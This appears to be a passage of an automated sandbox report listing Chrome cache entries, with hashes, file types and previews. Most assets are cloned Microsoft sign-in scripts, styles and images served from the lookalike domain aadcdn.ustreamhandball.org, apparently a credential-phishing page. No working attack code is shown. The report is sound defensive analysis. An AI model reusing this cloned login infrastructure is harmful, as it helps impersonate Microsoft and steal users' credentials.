Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46758)
Category:	dropped
Size (bytes):	142534
Entropy (8bit):	5.430257694716779
Encrypted:	false
SSDEEP:	1536:PyeDWHTpHfTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGx:IHlz1g/Mq5L9EveUynbBwsIccG
MD5:	79A17E15EEF5A19716BEBD3DEABEB113
SHA1:	4CF4F6BD6977A71F8ADEDE252DF899569BD6B9A4
SHA-256:	6759DD50B58E6179099ECB4D3C5067B25169B8090C69E211E6297B2F40F858E2
SHA-512:	A7CC048F58A381B97590C7D434FE47009356241B6616DF5F6A0B219955028BF074DEC4B19E0F35CD799B8966799EA45176B0F6FD29D7DC8443EF8056F4B510D6
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14782)
Category:	downloaded
Size (bytes):	15755
Entropy (8bit):	5.364203403428075
Encrypted:	false
SSDEEP:	384:DKeX/4OSgcK2Zr2ZfeXOh+rF3X1HDZDTzfXdv79Ni:v/a957/i
MD5:	B21937967628C01620B33966B480E387
SHA1:	2685229BC5F2540A4C36A2CD2D4BAE0C93489C86
SHA-256:	73911B6531D9AF94C4B34095F0899A00CB5765A417A5EEDAC85D5DC5458390F9
SHA-512:	50A6755F76EF09F02CD77F1111C249BCA7FF4ABC5B84DFF09BC45C405BC882B60096AA5ED19680D9EF41DC903EF529C1ABF0E48FA85DAD9104EDC7CA91CB9B53
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{525:function(e,n,s

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61177)
Category:	downloaded
Size (bytes):	113424
Entropy (8bit):	5.2850742719795925
Encrypted:	false
SSDEEP:	1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmQhSeC1Jzc6VU23:xkXhp6VUU
MD5:	F3588C5412D4119F95E47073A4A5DF72
SHA1:	3C4B1652E71C25E1CE7DE611FBD17EDBAAE411D9
SHA-256:	6CC79C59F00478CE5D8EAA982EFDD8FC3CC205A7EA023A564BB2688FA206A087
SHA-512:	62886F8BFB32D2BE842A23ECA157556C30EC1D616E2607D9DF1894F702BB7A982EEB3576C95F859B4B8E9183A84D70149A8802F31317F80D4845B02CCFA018F9
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	190152
Entropy (8bit):	5.348678574819375
Encrypted:	false
SSDEEP:	3072:0+mTq9mTuZEOHEXp6WXWkYVlMBMwMlJNbdffVv6GhL+rUWxa:STekBWkYVdLlJNbr6m+rUGa
MD5:	4877EFC88055D60953886EC55B04DE34
SHA1:	2341B026A3E2A3B01AFA1A39D1706840D75E09B3
SHA-256:	8405362EB8F09DF13AE244DE155B51B1577274673D9728B6C81CD0278A63C8B0
SHA-512:	625844EDC37594D5C2F7622BD1B59278BF68ABB2FA22476C56826433C961C7B1924858A7588F8B6284D3C5AC8738ECB895EEC949DE18667A98C04A59CB03DAC0
Malicious:	false
Reputation:	low
Preview:	(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){return r.b})),n.d(t,"TraceLevel",(function(){return r.d})),n.d(t,"AppInsightsCore",(function(){return i.a})),n.d(t,"BaseCore",(function(){return d})),n.d(t,"_ExtendedInternalMessageId",(function(){return r.f})),n.d(t,"EventPropertyType",(function(){return r.c})),n.d(t,"ESPromise",(function(){return g})),n.d(t,"ESPromiseScheduler",(function(){return C})),n.d(t,"ValueSanitizer",(function(){return I})),n.d(t,"NotificationManager",(function(){return E.a})),n.d(t,"BaseTelemetryPlugin",(function(){return S.a})),n.d(t,"ProcessTelemetryContext",(function(){return N.a})),n.d(t,"MinChannelPriorty",(function(){return w.a})),n.d(t,"EventsDiscardedReason",(function(){return P.a})),n.d(t,"DiagnosticLogger",(function(){return c.a})),n.d(t,"LoggingSeverity",(fun

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	downloaded
Size (bytes):	406986
Entropy (8bit):	5.317891650221025
Encrypted:	false
SSDEEP:	3072:U8MOoLTvZBZdxn7oW/Cs9wQ2JcP2RTQ/Opsm7m5dihTuZykwFM8dteY2or/cOsF1:WTL7nxp/1+eH/8smQZnL1
MD5:	62627959E9174F652FFFE451CB318926
SHA1:	74A1658A01C50B01546C3E8AE9210CD93C7144CD
SHA-256:	7E782066C034F36E626F218099EB0588CF0AB8E8DF19003F48ADBBDA284E8FA1
SHA-512:	EFACC6A55FE6E8C8160F68DE71E1D21374E3F79C1482EE1A5543338CAEE97D4765EACB40F5EDA9FDEA9189F02F62E3EEE2EBC3FEF2BC730043CF644C044D7B42
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(539).concat([f

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	190152
Entropy (8bit):	5.348678574819375
Encrypted:	false
SSDEEP:	3072:0+mTq9mTuZEOHEXp6WXWkYVlMBMwMlJNbdffVv6GhL+rUWxa:STekBWkYVdLlJNbr6m+rUGa
MD5:	4877EFC88055D60953886EC55B04DE34
SHA1:	2341B026A3E2A3B01AFA1A39D1706840D75E09B3
SHA-256:	8405362EB8F09DF13AE244DE155B51B1577274673D9728B6C81CD0278A63C8B0
SHA-512:	625844EDC37594D5C2F7622BD1B59278BF68ABB2FA22476C56826433C961C7B1924858A7588F8B6284D3C5AC8738ECB895EEC949DE18667A98C04A59CB03DAC0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){return r.b})),n.d(t,"TraceLevel",(function(){return r.d})),n.d(t,"AppInsightsCore",(function(){return i.a})),n.d(t,"BaseCore",(function(){return d})),n.d(t,"_ExtendedInternalMessageId",(function(){return r.f})),n.d(t,"EventPropertyType",(function(){return r.c})),n.d(t,"ESPromise",(function(){return g})),n.d(t,"ESPromiseScheduler",(function(){return C})),n.d(t,"ValueSanitizer",(function(){return I})),n.d(t,"NotificationManager",(function(){return E.a})),n.d(t,"BaseTelemetryPlugin",(function(){return S.a})),n.d(t,"ProcessTelemetryContext",(function(){return N.a})),n.d(t,"MinChannelPriorty",(function(){return w.a})),n.d(t,"EventsDiscardedReason",(function(){return P.a})),n.d(t,"DiagnosticLogger",(function(){return c.a})),n.d(t,"LoggingSeverity",(fun

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	dropped
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
Reputation:	low
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32028)
Category:	downloaded
Size (bytes):	57678
Entropy (8bit):	5.372106473481957
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3P7ym+d/Px25+1wtRUixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJ/7ym+d/Po5+1wtRUiJig/Ml
MD5:	576D2203E19A860B95BB67C655768C1E
SHA1:	163C9B4505FA2F7B1EBDFA2854358B709C75614F
SHA-256:	9FA77B26BE0BF9903945803CB673A12ED6F1EDB5724AD41C34EFFECC9768DF9F
SHA-512:	AB5CB50EF698B84CD3E6ABBE7BA0161AC09DC81E2AECE46D401ED7FFB6DB5AE1600513CEE80D9D0ED3C087C49D7B7B6E55A08595CDC99691EE794CF277DA1FFA
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
URL:	https://aadcdn.ustreamhandball.org/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7952
Entropy (8bit):	4.971909362295566
Encrypted:	false
SSDEEP:	192:/ke4YG97eVGJQKV/DIO3z5UgU52iPSOkSPo:sPtQKdD56O
MD5:	83CC982C609E1AA311D46F8066C2C645
SHA1:	2BEE6C4F8CB0C6499A5B422862497C283AE8D0DC
SHA-256:	F116F523A1F9B5D2B4772B193558F779AA41416E03F258B68ACEA4257D0F6441
SHA-512:	9B88096BAA9BE00408F1AE2645B57D4BF1E064DA92E180F7D6B74C9062A7FD790264BCB50BBEA96D6E8220EE34BAE3CF8791AB6089CA6753C2CF3A7B8502CA66
Malicious:	false
Reputation:	low
URL:	https://upload.wikimedia.org/wikipedia/commons/0/0f/Microsoft_logo_-_2012_%28vertical%29.svg
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>. Created with Inkscape (http://www.inkscape.org/) -->..<svg. xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:cc="http://creativecommons.org/ns#". xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#". xmlns:svg="http://www.w3.org/2000/svg". xmlns="http://www.w3.org/2000/svg". xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd". xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape". width="1910.1121". height="2590.2581". id="svg2". version="1.1". inkscape:version="0.91 r13725". sodipodi:docname="Microsoft_2012 Vertical.svg">. <defs. id="defs4" />. <sodipodi:namedview. id="base". pagecolor="#ffffff". bordercolor="#666666". borderopacity="1.0". inkscape:pageopacity="0.0". inkscape:pageshadow="2". inkscape:zoom="256". inkscape:cx="1001.0885". inkscape:cy="2590.1554". inkscape:document-units="px". inkscape:current-layer="layer1".

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	dropped
Size (bytes):	11970
Entropy (8bit):	5.416120131770621
Encrypted:	false
SSDEEP:	192:FPpd9ihiovIZwqsTh8Mi0Yl82YmYZewHe+IkA1niOpVTChGZu3PcXVstaD:ddEIyi0u82Y9ZewHPIkA1niOpVmOUPcX
MD5:	39A0EB35CD7799A181D34F4AE1DDB496
SHA1:	E933CA8534BCB6AD79D240316CE23C8B870050D0
SHA-256:	C8CEF105FCAF7CBF3F8682C861045505C24D41CF6686C20C1C03E14031A3DB69
SHA-512:	0AE990F9B57B55C3A8025BBE13C98ECD8A40C38380F9E0EFEF2BE7B418642EB040E4C537E684D2FEF7E04113450CFD4DEFF3414310773177220209991BBF1643
Malicious:	false
Reputation:	low
Preview:	/! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. .. json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain..Provided for Informational Purposes Only..Public Domain. .NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK..----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------ 